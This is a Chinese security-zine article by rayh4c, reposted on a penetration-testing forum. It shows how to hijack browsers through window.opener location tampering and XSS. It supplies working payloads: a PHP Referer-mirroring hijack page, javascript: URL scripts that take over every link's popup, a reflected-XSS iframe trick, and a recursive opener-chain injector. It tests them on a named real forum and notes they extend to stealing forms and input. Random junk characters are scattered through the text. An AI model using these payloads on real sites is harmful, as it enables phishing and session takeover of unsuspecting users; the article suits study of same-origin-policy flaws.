中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
, z' C& v4 R3 T7 d9 @1 p6 P- }
0 e; }2 g$ M. t, {  e                       Issue 0x03, Phile #0x05 of 0x07
! W) ?& ]" c8 R. [
0 a6 D0 u4 i1 U  C& g8 y6 z# C" e( T, l3 u9 B6 y* W) \, H  o1 ^: u; I
|=---------------------------------------------------------------------------=|* I3 R2 M+ A) S, E( m7 h- w
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|. [1 f8 ~, \* T2 i) M
|=---------------------------------------------------------------------------=|
7 M' O$ f; ?3 @% m0 P9 X|=---------------------------------------------------------------------------=|
! k, m8 _8 S, |/ Q|=------------------------=[      By rayh4c     ]=---------------------------=|
* t9 [8 E* {- w4 S/ X6 k# V|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|- `7 ~) Z- u& ?# u  u# s
|=---------------------------------------------------------------------------=|; j6 X5 w1 T0 b2 t  U! H
, w$ B/ M" T/ D' ~) B$ ?0 S! L

# ]  S% Y* \, ?9 V; h' U[目录]
3 v. Z( ?, H4 M! u/ y
, `9 O! ]/ Q2 W& a5 G& _1. 前言3 D: r' w2 D4 j
2. 同源策略简叙
: n" ~* {7 q8 ?, r# t  ~9 @3. 理解window对象的同源策略
6 c- M9 W, e; n  ^7 u! R4. 窗口引用功能中的同源策略漏洞1 i; L1 _0 h) F$ w# x' N2 O
  4.1 父窗口引用子窗口的同源策略问题# N' K' g. f# K0 F
  4.2 子窗口引用父窗口的同源策略问题+ b* _! ]! x3 n! Q! }" ?
5. 利用窗口引用漏洞劫持浏览器4 z6 }6 I) }& q% N6 F; _
6. 利用XSS漏洞劫持浏览器
7 h  O) y  J) Q  6.1 正向跨窗口劫持1 n: P! C$ p! Q/ x; Q
  6.2 反向跨窗口劫持
2 t( @4 N  |  J- }1 b  6.3 极度危险的跨框架窗口引用劫持+ X5 @( E3 w6 h1 z6 X5 \
  6.4 极度危险的正反向跨窗口递归劫持
4 L5 j& ?3 Q( H/ O. b' |  6.5 完全控制浏览器3 [3 S( y  I( Z; ?) ?
7. 后记
7 Y. q: M; S4 R, z0 M7 s8. 参考
" v& |7 w$ f2 d! u9 l% `, I( \: c% r9 v6 }1 L0 a$ Q

2 H. \- [1 k3 x; {' t/ x  F一、前言) {7 v' _' d1 S: E% V2 H* m
4 b1 i, E; T- |: C6 E6 y
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋/ P* C( A% i' q6 @- ?' P! \
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session3 q: |) q4 x9 _+ w: }7 \
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
8 [2 Y; v- ]% }/ @3 Z+ I条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。+ s% i9 P* W, |; `% H+ k
% w9 T1 V$ {3 l- O* E8 c- {; E+ X

7 G2 s* @2 N7 z二、同源策略简叙, e2 _- f0 e0 t/ U6 }

' g2 V5 D- e8 M    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
/ q/ c1 \% o3 k$ O: c) y+ S6 y从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# n& R& S4 {* e+ I8 E/ t2 S曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木8 [6 F& m+ x2 s# j
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
: H9 J' H* K: Y+ a; U漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
' L3 _9 @4 p! ~; j7 l/ N, u
# n5 K1 s: H7 p! D
  r+ \4 d4 `7 v2 \- I& Q三、理解window对象的同源策略
& ]! }) A/ u2 p- n  o: [4 k1 k
  h7 t7 }0 X' t9 q/ b    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对; V9 E! g9 E6 o0 R7 K& G. ]
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
" g: T7 w/ q* w( T+ D3 I3 B* N3 G! o" C: `/ H9 c. q
--code-------------------------------------------------------------------------
0 N% r' ?( B2 _9 y" x! E<script language="javascript">
  b- S! V! g, I/ Qfor(p in window) document.write(p+"<br>");$ v2 U% K* m2 ^+ F
</script>& G, g4 C& F. K- }
-------------------------------------------------------------------------------
( F% ^+ F% s, u! S! g0 `$ E+ ]2 E
2 m$ }2 \9 n( G* E8 @    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方5 @: [3 p  V8 Z# ?/ V
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,6 B: N, y7 j# r' c6 c
这些属性和方法就必须遵循同源策略。8 _! R2 m! X9 X& r

& @+ L: j- F5 l6 ?$ B    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那3 }# B( H' ]3 H/ C
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
! o7 k, y6 l4 ?6 R0 x$ S! ~  F' w的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这4 j7 @3 h% `$ a+ |# W
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
9 ^2 Q0 |# |& ?7 q% v值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location* Z1 M1 V; V: _. n7 I; O
属性并没有被拒绝访问。0 Q& T% |3 g+ H

+ Y! Z% c/ @9 b! M. b* N--demo.html--------------------------------------------------------------------
# `1 y! N0 G; {$ o  ~# ]<script language="javascript">   2 i, C( x3 P0 v3 y
function allPrpos(obj) {      
$ r- y5 p+ b7 H6 o6 y. \      var props = "<table><tr><td>名称</td><td>值</td>";           ; o, @$ R# S4 ]5 U  x9 D5 L
      for(var p in obj){            |$ r2 U# O% S% v* {8 t
            if(typeof(obj[p])=="function"){   ( s: N" l5 T9 X9 S5 ^
                   obj[p]();   8 E* G; K+ g' z8 W3 T& ^
             }else{                      - y$ Y" a# R0 D; B% D+ o. i7 ]. g4 e
                  try   ) |+ S' i% w! a; N4 u
                   {   
7 Q  S- G& c5 u! c! |8 _# N                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   ; `' u! A( i1 S' I& U9 V- v; R+ i' ?
                   }   3 y% _9 F( q. b- I
                  catch (ex)   
) ^8 ^5 r: P4 |2 {6 ]1 m                   {   9 s  j. A' }7 w) j$ X/ q. C% G
                   0 |8 E1 \7 {8 Z+ I
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
2 R: K( z- X4 ^* S  w                   }   
& u( a/ F' z" W2 O3 A$ X                       
) C- v8 u, ~) y, U" T- o3 \) c             }   $ s1 n. b8 ?3 t  N8 Y; {6 E# j2 V
       }   + p1 u' ~, \9 i3 E. @2 E. c6 L
   
: k7 A0 N# \; U9 a# Q       document.write(props+"</table>");   7 D4 k1 ^, q" M! g2 q4 u- A8 e
}   $ [8 f9 h; C  p7 Y  Z
   
6 }/ I  K& e5 a0 |* i7 O  }# v! vfunction createWin() {* n& F) x6 k- l0 H/ x
        newWin = window.open ("http://www.google.com");  
: W* \& F( ], t) S        setTimeout(function(){allPrpos(newWin)},2000);
% \8 C! i( L9 p/ E}
! ?- I9 J8 T7 o2 A, x6 j% `# }. k) p7 q& J1 {  L' _" p6 j
</script> - _- ^' N& {. k, a( t4 S# o
; H+ x0 @3 e7 |$ ~
<button onclick='createWin()'>创建一个非同源子窗口测试</button># c! T& v; _% \8 f- }/ w
-------------------------------------------------------------------------------7 ]$ J- j. Z$ f6 X$ N  m9 U

" h* Y. G; p; T3 g9 |5 j7 w9 {6 q3 b# J& z; G$ `9 M
四、窗口引用功能中的同源策略漏洞
+ G6 f, E* U% U+ B2 V6 {) s2 b6 }2 @/ i8 z4 F+ `# [
4.1 父窗口引用子窗口的同源策略问题
9 d( v9 s/ q& F% Q
# w- @9 Q& Y2 @4 ~  J4 `& [    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,  }9 W- B( t+ B3 \4 |/ i: U
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道! r, ~  X% o, X8 Y4 |
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进0 @( W$ ]# o1 ~1 A" v% V3 v
行测试,会发现父窗口可以控制非同源子窗口location属性值。
  f. c! G$ X  f2 v3 R+ M( B0 I! V  v& Z3 @' J; h- m
--vul1.html--------------------------------------------------------------------% h, s2 X: D3 S9 F
<script language="javascript">
) k) P( N. u. ~- M. w7 [1 B9 |function createWin() {  ' d5 a7 G5 I8 v: R5 d
        newWin = window.open ("http://www.google.com");  
" b4 ^% ?, J, w  P) U& x        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 C+ D6 U/ f1 `7 }9 S} , d% V4 O: m- W
</script>
9 x% x; A- @0 i+ r# _: X5 L
5 k3 `% O! I) B' Z0 q; N<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ s( m  u0 @1 [4 z7 u-------------------------------------------------------------------------------
5 v, c$ Q+ Q2 h  v
' s: u" m% w& ?* S4 M
& p; Q, }, [/ U4.2 子窗口引用父窗口的同源策略问题
8 q# @; P' c" ^  C4 X. p% q8 M
- K7 Z2 v+ t5 b! A( V& t    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使' g( N) |0 j+ j& {, H9 V* b
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
/ B* B6 S8 G5 r; Z. \" {6 U可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定; }, B' I! `; N: D- q
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
4 t4 h: v& R) q* u1 X7 z9 D
: T2 b& r/ f9 p  Q9 Y0 a7 E--code-------------------------------------------------------------------------8 z9 g4 ^3 |+ m& f, \; Y* O8 {& s$ T

# M- u9 b; q2 M* m8 [javascript:window.opener.location = "http://www.80sec.com";void(0);- e4 s# n+ W1 Y5 Z6 O3 x( x0 s( `
  c& |& p$ h" a; }
-------------------------------------------------------------------------------) Q4 @- x+ h! m# w
. m4 D3 r# E; y7 T5 a( o

1 n2 m+ K- M+ r" j3 p, f五、利用窗口引用漏洞劫持浏览器- O4 G' y: s3 T. b
5 F7 K( b3 M* D/ n; q4 i& J
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
4 C8 U4 ]* M  C5 v7 d窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
" r* [( g" e& x. I么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
1 r2 e5 I; R+ H7 T9 g8 a  g5 W. \
( b, o7 b/ @9 d$ H: v    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产8 s. J8 \4 Z, F
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
5 K6 _; X! b. }0 r# _" ^" B: S& [者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接0 o- t. s: z& ^
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下! s3 r+ E" n. c( \
会产生什么可怕的后果。
/ y( r3 X+ H! {
1 [0 e/ @. l0 n+ l    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 w. j+ j& C8 s. ^
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php( e2 B$ O6 H+ r5 w' X5 W! ?  |
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
$ {: `+ A2 n, k  C, @2 y, t候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
6 a$ }7 M* y9 l4 R- y8 }以做更多的事情,所有的一切仅仅是因为点击了一个链接。
$ I) j5 q, ]/ R$ Z
0 H6 P/ E2 z( m& J1 t6 q) Q1 v--hjk_ref.php------------------------------------------------------------------
, d7 z% V, g, U<?php+ [8 o1 Y$ i2 U& b% P% W
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
  D" T; @  Y' t' J$Url_Mirror = $_SERVER["HTTP_REFERER"];
4 x( V2 ?' a, F}
7 p- y! C; `' u5 O4 P2 Rif(isset ($_GET['ref'])) {
- [. Z: D. u8 }3 C; O5 |6 A! vecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';- Q  T5 s$ n% |+ L
}& X2 ?  J  B! x6 O+ i
?>
& [3 f4 ?' [( X& j. g; C! w' w
5 |3 ^) C$ ^4 e, C$ U<script language="javascript">. m" K' Y1 E2 r- o9 e; c
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         0 B4 I3 q3 p. R9 [' b
</script>. g' q! ~+ d" H) d
-------------------------------------------------------------------------------
. x+ W: O: _8 S' U* F4 e7 u! a
. C$ U& _) Z& f    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
4 h/ `, a- `1 G8 A( B% d$ M! [9 P5 ^2 z3 w& S9 Y. B" [
" h2 ?9 ?8 r7 V4 Z/ E8 }# }& U
六、利用XSS漏洞劫持浏览器$ _1 H6 `% B. ]- ?! g
0 e& B8 c" p) U* }! l% j  i; z
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为5 {+ p( j- ^- M( v6 A& w4 ?$ ~
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
( \7 ^9 K. }9 xXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
7 G1 u8 c, [! s讨论跨站师的终极技巧:+ I$ e- Y9 t, O
# W" O# @" c! ^' U( d- S
+ m" B5 f; d9 O$ m7 }# h7 m
6.1 正向跨窗口劫持
* [+ a1 i, S+ a- y+ D% d* \# O
9 q8 w! m7 B" @/ V6 _8 y5 J    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛, m4 {- S8 ]5 c- \& Z$ r2 A) ~
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
( ~( `, {* R/ X) `0 i接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
5 v8 B/ b0 [+ S' ~  g2 y框脚本。
; I! W9 q* H; }3 r! k, G2 N& H: F/ h; b  t
--hijack_open.js---------------------------------------------------------------* l3 U9 p" G0 W% w) Y7 Z  d

& a, U* s! c: xjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6 L6 _% D% v+ l$ ]. r/ y- ^& Z
4 _4 ?/ \" D8 @/ f. F) P5 [$ @; x-------------------------------------------------------------------------------3 L; X/ \: ]; x6 c; h9 @

4 Z5 `+ ~8 i: n. g1 h; ~0 x! S8 m  V+ C- g% m2 J  [
6.2 反向跨窗口劫持
3 R9 o+ i  ]1 {. B7 A; y0 v$ x2 f6 m. W$ Y
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
, G: H" |4 K' d) t8 m码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
9 Q! o! p7 o: w) Y+ b2 }框脚本。# s: \  b; n3 L" x

  u" Z9 m  p! m) d2 |$ \--hijack_opener.js-------------------------------------------------------------
$ f9 D1 j. L# I; _8 d, p6 p5 ?3 ~
* O8 W7 l* j: d6 Ljavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);" J2 N# V( H5 U9 C% Z6 N

. V5 C2 g2 W0 S0 ~2 \-------------------------------------------------------------------------------& I$ |# G+ S" ], v+ ^
4 n" O- v7 k$ s0 E+ s/ u! t0 N- @# t

) _8 {% C! j9 V. F+ z' i6.3 极度危险的跨框架窗口引用劫持
0 e. H4 M# E) n8 b- ~, t
0 ^* d1 k, n6 P& D" W  u  C" a    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞4 M* s4 u9 s+ ?. U! f7 N' \
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就2 b* |& U7 M; U$ W/ l; J5 g
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个$ A. w  i# g: o; i4 @& u
非持久型的XSS,如下:! X  D# Q; b. k6 s0 B
) ]$ m0 }0 m0 I) C
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
4 H1 L7 n3 F% c- V& Z2 h5 n) p8 d; C1 g; t$ B2 R' G6 f9 y
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
; j2 V; M: q% u) r5 |' B& W注入脚本。& Z( z5 ?+ Z# V( t; C$ z
, B7 w1 c& B3 \1 G& a
--hijack_frame_opener.js-------------------------------------------------------
5 l# ?/ u/ T2 y* Z# A<script>! i+ t- ?: m: |- q
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
3 C& t; L$ S2 Y/ @' ^% p</script>/ N' |4 W# I' @. H
-------------------------------------------------------------------------------
4 U" f! L0 k& g; S0 {; m0 W! d" n
  t; r7 y9 q! i+ u
6 N6 @2 T: V6 ]/ |: W, P6.4 极度危险的正反向跨窗口递归劫持. E, p9 {( D# @1 ~

+ |8 J7 O: L* x6 T" u    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
9 I# C% O' I- i2 G7 K+ A9 p的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过* b7 ]% z  b) P% T
异常处理规避之间跨域页面的访问异常,代码如下:! S0 E' w& Z: k7 {; j; R% l

0 M0 V* J7 d  ]: ]7 {' K--code-------------------------------------------------------------------------5 _/ c: ~3 i0 r" n
) Z8 h- q/ B! j* e; h: a
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
; E$ G% }- w# N; O! _1 i  [: g* R/ A
3 k9 u1 b) q; g7 s- c" _, w2 Z-------------------------------------------------------------------------------6 s$ D- K: F: y" M; j0 A

/ l! @' N3 \' A8 D$ {% n    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
+ b: U8 E  ~8 L& l3 w* {$ |, c以劫持B域之前的A域页面,从而实现“隔空打击”。! c* k& Z- V+ Z
4 f0 _0 Z2 m: x( T- h/ \
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面0 p; @! D0 O& [5 R* o; l/ ?
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。3 F1 ^8 R5 U% h6 K
- G) @8 R; j+ I+ ]
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。7 T  M, Y' d8 r" d2 x7 x& B' n
' ]* t9 \+ t$ I& I

/ {! G( [0 v/ y8 W# E6.5 完全控制浏览器
3 N5 m' ~% C  }$ g' |
/ z# _& v, h' s* G" ^2 Y: a  B  O  P1 e* V    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
4 Z1 M* _1 O/ i5 M  y' A是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
  E2 @1 \) B- w+ ]" t% E' X' d2 r漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失2 s% y% ?% |8 U/ j8 ~
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
8 \9 h/ p) D! ^列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
' a1 k, Z  Z& ^/ `师的终极目标 - 完全控制浏览器。
* a% g& |# G$ i( J
9 {# G+ i, V9 ~$ U6 b3 l% g! c+ {2 a  _$ N3 ^  X7 K- a3 r& Q
七、后记5 s9 ~+ ]% h3 R, q1 l
  w" G6 W1 H1 F/ M5 P# w1 P) {
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
$ \% g7 R+ H; w与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予3 k5 S0 P! L. Q" }2 R! v
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。2 Q8 D6 J8 G# Z, A0 z! T
: c) a: v0 E6 \( e
: x4 ~$ c$ N; g) F  ^( m- H
八、参考
' {. S" [2 d. V0 v, K- N; i" [. X# }2 }  K6 u2 `% A4 p
1. http://en.wikipedia.org/wiki/Same_origin_policy
7 s! @, Q6 w6 r: j2. http://code.google.com/p/browser ... licy_for_DOM_access
- f; ?) p1 j2 i8 c/ ^/ I% e3. http://www.w3.org/TR/Window/" Y5 Y5 x/ I$ V  D  J- f
4. http://www.80sec.com/release/browser-hijacking.txt
4 R' {6 A- j- X! j5. http://www.80sec.com/all-browser-security-alert.html
" M4 i) \( Q) b" K6 d$ b; N6. http://www.80sec.com/ms08-058-attacks-google.html, b) n" ]& d$ i3 [$ g' x% U- V% j/ u
9 J, ]6 h( H: x& m2 k. ^
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2